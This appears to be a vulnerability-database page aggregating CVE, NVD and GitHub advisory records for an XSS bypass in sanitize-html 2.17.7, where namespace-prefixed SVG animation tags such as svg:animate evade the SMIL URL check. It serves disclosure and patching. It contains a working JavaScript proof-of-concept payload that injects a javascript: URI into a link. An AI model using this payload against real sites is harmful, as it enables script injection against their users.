Vulnerability-Lookup

CVE-2026-113657 (GCVE-0-2026-113657)

Vulnerability from cvelistv5 – Published: 2026-10-20 16:54 – Updated: 2026-10-20 17:08

Title

ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)

Summary

ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. From sanitize-html 2.17.7 until 2.18.0, an application configuration that permits namespace-prefixed SVG animation elements and the relevant URL-targeting attributes can bypass the SMIL URL protection because prefixed tag names do not match the unprefixed animation-element check. The bypass can rewrite a link destination to an unsafe URI after the sanitized SVG is rendered, with script execution occurring when a user activates the affected link; the default sanitizer configuration is not unconditionally affected. This issue is fixed in sanitize-html 2.18.0.

Severity

3.7 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-20 17:07 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7654 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/apostrophecms/apostrophe/secur…	x_refsource_CONFIRM
https://github.com/apostrophecms/apostrophe/commi…	x_refsource_MISC
https://github.com/apostrophecms/apostrophe/commi…	x_refsource_MISC
https://github.com/apostrophecms/apostrophe/relea…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version	CPE status
apostrophecms	apostrophe	Affected: < 4.33.0	guessed
apostrophecms	sanitize-html	Affected: >= 2.17.7, < 2.18.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-113657

Vulnerability from fkie_nvd - Published: 2026-10-20 17:17 - Updated: 2026-10-20 19:53

Severity

3.7 (Low) - CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/releases/tag/sanitize-html@2.18.0
	security-advisories@github.com	https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-374f-7chj-9948
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-374f-7chj-9948

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
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}

GHSA-374F-7CHJ-9948

Vulnerability from github – Published: 2026-10-20 18:21 – Updated: 2026-10-20 18:21

Summary

ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)

Details

Summary

sanitize-html 2.17.7 introduced animatesUrlAttribute() to block SVG animation elements (animate, animateColor, animateMotion, animateTransform, set) when their attributeName targets a URL sink like href. However, this check is bypassed when the animation element uses a namespace prefix (e.g., svg:animate instead of animate).

Root Cause

The animatesUrlAttribute function (index.js, line ~832) checks svgAnimationTags.indexOf(name.toLowerCase()), where svgAnimationTags contains bare local names: ["animate", "animatecolor", "animatemotion", "animatetransform", "set"]. htmlparser2 passes namespace-prefixed tag names verbatim, so svg:animate does not match animate in the array, causing the function to return false and skip the SMIL XSS protection.

Ironically, the function already handles namespace prefixes correctly for the attributeName target value (line ~843): const localName = target.slice(target.lastIndexOf(":") + 1) — but this same stripping was not applied to the tag name itself.

Proof of Concept

const sanitizeHtml = require("sanitize-html");

const config = {
  allowedTags: false,
  allowedAttributes: false,
  allowedSchemes: ["http", "https"]
};

// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
  `<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED

// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
  `<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS

All 5 SMIL animation elements are bypassable with any namespace prefix (svg:, xlink:, xml:, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.

Impact

Cross-site scripting (XSS) via SMIL animation retargeting. When an application uses allowedTags: false (common in rich-text editors that want to preserve SVG), an attacker can inject <svg:animate attributeName="href" values="#safe;javascript:..." .../> to override the href attribute of a parent <a> element after the page loads, causing the link to execute JavaScript when clicked.

Suggested Fix

Strip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:

// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {

// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {

Affected Versions

sanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Severity

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "sanitize-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.17.7"
            },
            {
              "fixed": "2.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T18:21:19Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\nsanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`).\n\n## Root Cause\n\nThe `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `[\"animate\", \"animatecolor\", \"animatemotion\", \"animatetransform\", \"set\"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection.\n\nIronically, the function already handles namespace prefixes correctly for the `attributeName` target value (line ~843): `const localName = target.slice(target.lastIndexOf(\":\") + 1)` \u2014 but this same stripping was not applied to the tag name itself.\n\n## Proof of Concept\n\n```javascript\nconst sanitizeHtml = require(\"sanitize-html\");\n\nconst config = {\n  allowedTags: false,\n  allowedAttributes: false,\n  allowedSchemes: [\"http\", \"https\"]\n};\n\n// Standard animate \u2014 BLOCKED by 2.17.7 fix\nconst blocked = sanitizeHtml(\n  `\u003csvg\u003e\u003ca href=\"#safe\"\u003e\u003canimate attributeName=\"href\" values=\"#safe;javascript:alert(1)\" dur=\".01s\" fill=\"freeze\"/\u003e\u003ctext\u003eClick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e`,\n  config\n);\nconsole.log(\"Standard animate:\", blocked.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BLOCKED\n\n// Namespace-prefixed animate \u2014 BYPASSES the fix\nconst bypassed = sanitizeHtml(\n  `\u003csvg\u003e\u003ca href=\"#safe\"\u003e\u003csvg:animate attributeName=\"href\" values=\"#safe;javascript:alert(document.domain)\" dur=\".01s\" fill=\"freeze\"/\u003e\u003ctext\u003eClick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e`,\n  config\n);\nconsole.log(\"svg:animate:\", bypassed.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BYPASS\n```\n\nAll 5 SMIL animation elements are bypassable with any namespace prefix (`svg:`, `xlink:`, `xml:`, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.\n\n## Impact\n\nCross-site scripting (XSS) via SMIL animation retargeting. When an application uses `allowedTags: false` (common in rich-text editors that want to preserve SVG), an attacker can inject `\u003csvg:animate attributeName=\"href\" values=\"#safe;javascript:...\" .../\u003e` to override the `href` attribute of a parent `\u003ca\u003e` element after the page loads, causing the link to execute JavaScript when clicked.\n\n## Suggested Fix\n\nStrip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:\n\n```javascript\n// Before (vulnerable):\nif (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {\n\n// After (fixed):\nconst localTagName = name.toLowerCase().slice(name.lastIndexOf(\":\") + 1);\nif (svgAnimationTags.indexOf(localTagName) === -1) {\n```\n\n## Affected Versions\n\nsanitize-html \u003e= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.\n\n## Credit\n\nKai Aizen (SnailSploit) \u2014 Adversarial AI \u0026 Security Research",
  "id": "GHSA-374f-7chj-9948",
  "modified": "2026-10-20T18:21:19Z",
  "published": "2026-10-20T18:21:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-374f-7chj-9948"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/releases/tag/sanitize-html@2.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)"
}

Sightings

Author	Source	Type	Date	Other

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Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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Action not permitted

CVE-2026-113657 (GCVE-0-2026-113657)

FKIE_CVE-2026-113657

GHSA-374F-7CHJ-9948

Summary

Root Cause

Proof of Concept

Impact

Suggested Fix

Affected Versions

Credit

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